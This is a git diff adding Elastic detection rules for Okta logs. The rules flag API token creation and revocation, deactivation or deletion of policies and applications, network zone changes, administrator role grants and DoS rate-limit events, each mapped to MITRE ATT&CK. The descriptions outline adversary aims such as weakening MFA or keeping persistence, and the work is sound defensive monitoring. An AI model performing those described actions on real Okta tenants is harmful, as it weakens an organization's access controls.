a/rules/integrations/okta/impact_attempt_to_revoke_okta_api_token.toml b/rules/integrations/okta/impact_attempt_to_revoke_okta_api_token.toml new file mode 100644 index 000000000..75059547b --- /dev/null +++ b/rules/integrations/okta/impact_attempt_to_revoke_okta_api_token.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to revoke an Okta API token. An adversary may attempt to revoke or delete an Okta API token to +disrupt an organization's business operations. +""" +false_positives = [ + """ + If the behavior of revoking Okta API tokens is expected, consider adding exceptions to this rule to filter false + positives. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Revoke Okta API Token" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "676cff2b-450b-4cf1-8ed2-c0c58a4a2dd7" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:system.api_token.revoke +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/okta/impact_possible_okta_dos_attack.toml b/rules/integrations/okta/impact_possible_okta_dos_attack.toml new file mode 100644 index 000000000..344bc46d6 --- /dev/null +++ b/rules/integrations/okta/impact_possible_okta_dos_attack.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an +organization's business operations by performing a DoS attack against its Okta service. +""" +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Possible Okta DoS Attack" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "e6e3ecff-03dd-48ec-acbd-54a04de10c68" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:(application.integration.rate_limit_exceeded or system.org.rate_limit.warning or system.org.rate_limit.violation or core.concurrency.org.limit.violation) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1498" +name = "Network Denial of Service" +reference = "https://attack.mitre.org/techniques/T1498/" + +[[rule.threat.technique]] +id = "T1499" +name = "Endpoint Denial of Service" +reference = "https://attack.mitre.org/techniques/T1499/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/okta/initial_access_okta_user_attempted_unauthorized_access.toml b/rules/integrations/okta/initial_access_okta_user_attempted_unauthorized_access.toml new file mode 100644 index 000000000..1e0371d6b --- /dev/null +++ b/rules/integrations/okta/initial_access_okta_user_attempted_unauthorized_access.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2021/05/14" +maturity = "production" +updated_date = "2021/10/11" +integration = "okta" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies unauthorized access attempts to Okta applications." +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Unauthorized Access to an Okta Application" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 21 +rule_id = "4edd3e1a-3aa0-499b-8147-4d2ea43b1613" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Valid Accounts" +id = "T1078" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +name = "Initial Access" +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Defense Evasion" +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Persistence" +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Privilege Escalation" +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" diff --git a/rules/integrations/okta/initial_access_suspicious_activity_reported_by_okta_user.toml b/rules/integrations/okta/initial_access_suspicious_activity_reported_by_okta_user.toml new file mode 100644 index 000000000..d565631a1 --- /dev/null +++ b/rules/integrations/okta/initial_access_suspicious_activity_reported_by_okta_user.toml @@ -0,0 +1,85 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects when a user reports suspicious activity for their Okta account. These events should be investigated, as they can +help security teams identify when an adversary is attempting to gain access to their network. +""" +false_positives = ["A user may report suspicious activity on their Okta account in error."] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Suspicious Activity Reported by Okta User" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "f994964f-6fce-4d75-8e79-e16ccc412588" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:user.account.report_suspicious_activity_by_enduser +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/okta/okta_attempt_to_deactivate_okta_application.toml b/rules/integrations/okta/okta_attempt_to_deactivate_okta_application.toml new file mode 100644 index 000000000..873d8aa39 --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_deactivate_okta_application.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to deactivate an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta +application in order to weaken an organization's security controls or disrupt their business operations. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if your organization's Okta applications are + regularly deactivated and the behavior is expected. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Deactivate an Okta Application" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "edb91186-1c7e-4db8-b53e-bfa33a1a0a8a" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:application.lifecycle.deactivate +''' + diff --git a/rules/integrations/okta/okta_attempt_to_deactivate_okta_policy.toml b/rules/integrations/okta/okta_attempt_to_deactivate_okta_policy.toml new file mode 100644 index 000000000..27f1c7dcf --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_deactivate_okta_policy.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken +an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor +authentication (MFA) policy in order to weaken the authentication requirements for user accounts. +""" +false_positives = [ + """ + If the behavior of deactivating Okta policies is expected, consider adding exceptions to this rule to filter false + positives. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Deactivate an Okta Policy" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "b719a170-3bdb-4141-b0e3-13e3cf627bfe" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:policy.lifecycle.deactivate +''' + diff --git a/rules/integrations/okta/okta_attempt_to_deactivate_okta_policy_rule.toml b/rules/integrations/okta/okta_attempt_to_deactivate_okta_policy_rule.toml new file mode 100644 index 000000000..d659b89ea --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_deactivate_okta_policy_rule.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an +Okta policy in order to remove or weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Okta MFA rules are regularly deactivated in + your organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Deactivate an Okta Policy Rule" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "cc92c835-da92-45c9-9f29-b4992ad621a0" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:policy.rule.deactivate +''' + diff --git a/rules/integrations/okta/okta_attempt_to_delete_okta_application.toml b/rules/integrations/okta/okta_attempt_to_delete_okta_application.toml new file mode 100644 index 000000000..513bc21c3 --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_delete_okta_application.toml @@ -0,0 +1,40 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to delete an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta +application in order to weaken an organization's security controls or disrupt their business operations. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if your organization's Okta applications are + regularly deleted and the behavior is expected. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Delete an Okta Application" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "d48e1c13-4aca-4d1f-a7b1-a9161c0ad86f" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:application.lifecycle.delete +''' + diff --git a/rules/integrations/okta/okta_attempt_to_delete_okta_policy.toml b/rules/integrations/okta/okta_attempt_to_delete_okta_policy.toml new file mode 100644 index 000000000..05130455b --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_delete_okta_policy.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/05/28" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an +organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication +(MFA) policy in order to weaken the authentication requirements for user accounts. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Okta policies are regularly deleted in your + organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Delete an Okta Policy" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "b4bb1440-0fcb-4ed1-87e5-b06d58efc5e9" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:policy.lifecycle.delete +''' + diff --git a/rules/integrations/okta/okta_attempt_to_delete_okta_policy_rule.toml b/rules/integrations/okta/okta_attempt_to_delete_okta_policy_rule.toml new file mode 100644 index 000000000..ba9f4c6e0 --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_delete_okta_policy_rule.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order +to weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Okta MFA rules are regularly modified in your + organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Delete an Okta Policy Rule" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "d5d86bf5-cf0c-4c06-b688-53fdc072fdfd" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:policy.rule.delete +''' + diff --git a/rules/integrations/okta/okta_attempt_to_modify_okta_application.toml b/rules/integrations/okta/okta_attempt_to_modify_okta_application.toml new file mode 100644 index 000000000..b2ec1e9ec --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_modify_okta_application.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to modify an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta +application in order to weaken an organization's security controls or disrupt their business operations. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if your organization's Okta applications are + regularly modified and the behavior is expected. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Modify an Okta Application" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "c74fd275-ab2c-4d49-8890-e2943fa65c09" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:application.lifecycle.update +''' + diff --git a/rules/integrations/okta/okta_attempt_to_modify_okta_network_zone.toml b/rules/integrations/okta/okta_attempt_to_modify_okta_network_zone.toml new file mode 100644 index 000000000..98858b363 --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_modify_okta_network_zone.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a +network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network +zone in order to remove or weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Oyour organization's Okta network zones are + regularly modified. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Modify an Okta Network Zone" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "e48236ca-b67a-4b4e-840c-fdc7782bc0c3" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:(zone.update or network_zone.rule.disabled or zone.remove_blacklist) +''' + diff --git a/rules/integrations/okta/okta_attempt_to_modify_okta_policy.toml b/rules/integrations/okta/okta_attempt_to_modify_okta_policy.toml new file mode 100644 index 000000000..0fb7c0cc9 --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_modify_okta_policy.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an +organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication +(MFA) policy in order to weaken the authentication requirements for user accounts. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Okta policies are regularly modified in your + organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Modify an Okta Policy" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "6731fbf2-8f28-49ed-9ab9-9a918ceb5a45" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:policy.lifecycle.update +''' + diff --git a/rules/integrations/okta/okta_attempt_to_modify_okta_policy_rule.toml b/rules/integrations/okta/okta_attempt_to_modify_okta_policy_rule.toml new file mode 100644 index 000000000..1d27bc0a9 --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_modify_okta_policy_rule.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order +to weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if Okta MFA rules are regularly modified in your + organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Modify an Okta Policy Rule" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 21 +rule_id = "000047bb-b27a-47ec-8b62-ef1a5d2c9e19" +severity = "low" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:policy.rule.update +''' + diff --git a/rules/integrations/okta/okta_attempt_to_modify_or_delete_application_sign_on_policy.toml b/rules/integrations/okta/okta_attempt_to_modify_or_delete_application_sign_on_policy.toml new file mode 100644 index 000000000..a26e9880c --- /dev/null +++ b/rules/integrations/okta/okta_attempt_to_modify_or_delete_application_sign_on_policy.toml @@ -0,0 +1,41 @@ +[metadata] +creation_date = "2020/07/01" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or +delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. +""" +false_positives = [ + """ + Consider adding exceptions to this rule to filter false positives if sign on policies for Okta applications are + regularly modified or deleted in your organization. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Modification or Removal of an Okta Application Sign-On Policy" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/App_Based_Signon.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "cd16fb10-0261-46e8-9932-a0336278cdbe" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:(application.policy.sign_on.update or application.policy.sign_on.rule.delete) +''' + diff --git a/rules/integrations/okta/okta_threat_detected_by_okta_threatinsight.toml b/rules/integrations/okta/okta_threat_detected_by_okta_threatinsight.toml new file mode 100644 index 000000000..cb839b2fe --- /dev/null +++ b/rules/integrations/okta/okta_threat_detected_by_okta_threatinsight.toml @@ -0,0 +1,35 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects when Okta ThreatInsight identifies a request from a malicious IP address. Investigating requests from IP +addresses identified as malicious by Okta ThreatInsight can help security teams monitor for and respond to credential +based attacks against their organization, such as brute force and password spraying attacks. +""" +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Threat Detected by Okta ThreatInsight" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "6885d2ae-e008-4762-b98a-e8e1cd3a81e9" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:security.threat.detected +''' + diff --git a/rules/integrations/okta/persistence_administrator_privileges_assigned_to_okta_group.toml b/rules/integrations/okta/persistence_administrator_privileges_assigned_to_okta_group.toml new file mode 100644 index 000000000..cd9ed22e1 --- /dev/null +++ b/rules/integrations/okta/persistence_administrator_privileges_assigned_to_okta_group.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator +privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access +to their target organization. +""" +false_positives = [ + """ + Administrator roles may be assigned to Okta users by a Super Admin user. Verify that the behavior was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Administrator Privileges Assigned to an Okta Group" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "b8075894-0b62-46e5-977c-31275da34419" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:group.privilege.grant +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/okta/persistence_administrator_role_assigned_to_okta_user.toml b/rules/integrations/okta/persistence_administrator_role_assigned_to_okta_user.toml new file mode 100644 index 000000000..da1202900 --- /dev/null +++ b/rules/integrations/okta/persistence_administrator_role_assigned_to_okta_user.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Identifies when an administrator role is assigned to an Okta user. An adversary may attempt to assign an administrator +role to an Okta user in order to assign additional permissions to a user account and maintain access to their target's +environment. +""" +false_positives = [ + """ + Administrator roles may be assigned to Okta users by a Super Admin user. Verify that the behavior was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Administrator Role Assigned to an Okta User" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "f06414a6-f2a4-466d-8eba-10f85e8abf71" +severity = "medium" +tags = ["Elastic", "Okta", "SecOps", "Monitoring", "Continuous Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:user.account.privilege.grant +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/okta/persistence_attempt_to_create_okta_api_token.toml b/rules/integrations/okta/persistence_attempt_to_create_okta_api_token.toml new file mode 100644 index 000000000..a108f451e --- /dev/null +++ b/rules/integrations/okta/persistence_attempt_to_create_okta_api_token.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "okta" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an +organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute +techniques such as creating user accounts or disabling security rules or policies. +""" +false_positives = [ + """ + If the behavior of creating Okta API tokens is expected, consider adding exceptions to this rule to filter false + positives. + """, +] +index = ["filebeat-*", "logs-okta*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Create Okta API Token" +note = """## Config + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", +] +risk_score = 47 +rule_id = "96b9f4ea-0e8c-435b-8d53-2096e75fcac5" +severity = "medium" +tags = ["Elastic", "Identity", "Okta", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:okta.system and event.action:system.api_token.create +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +name = "Create Account" +reference = "https://attack.mitre.org/techniques/T1136/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = 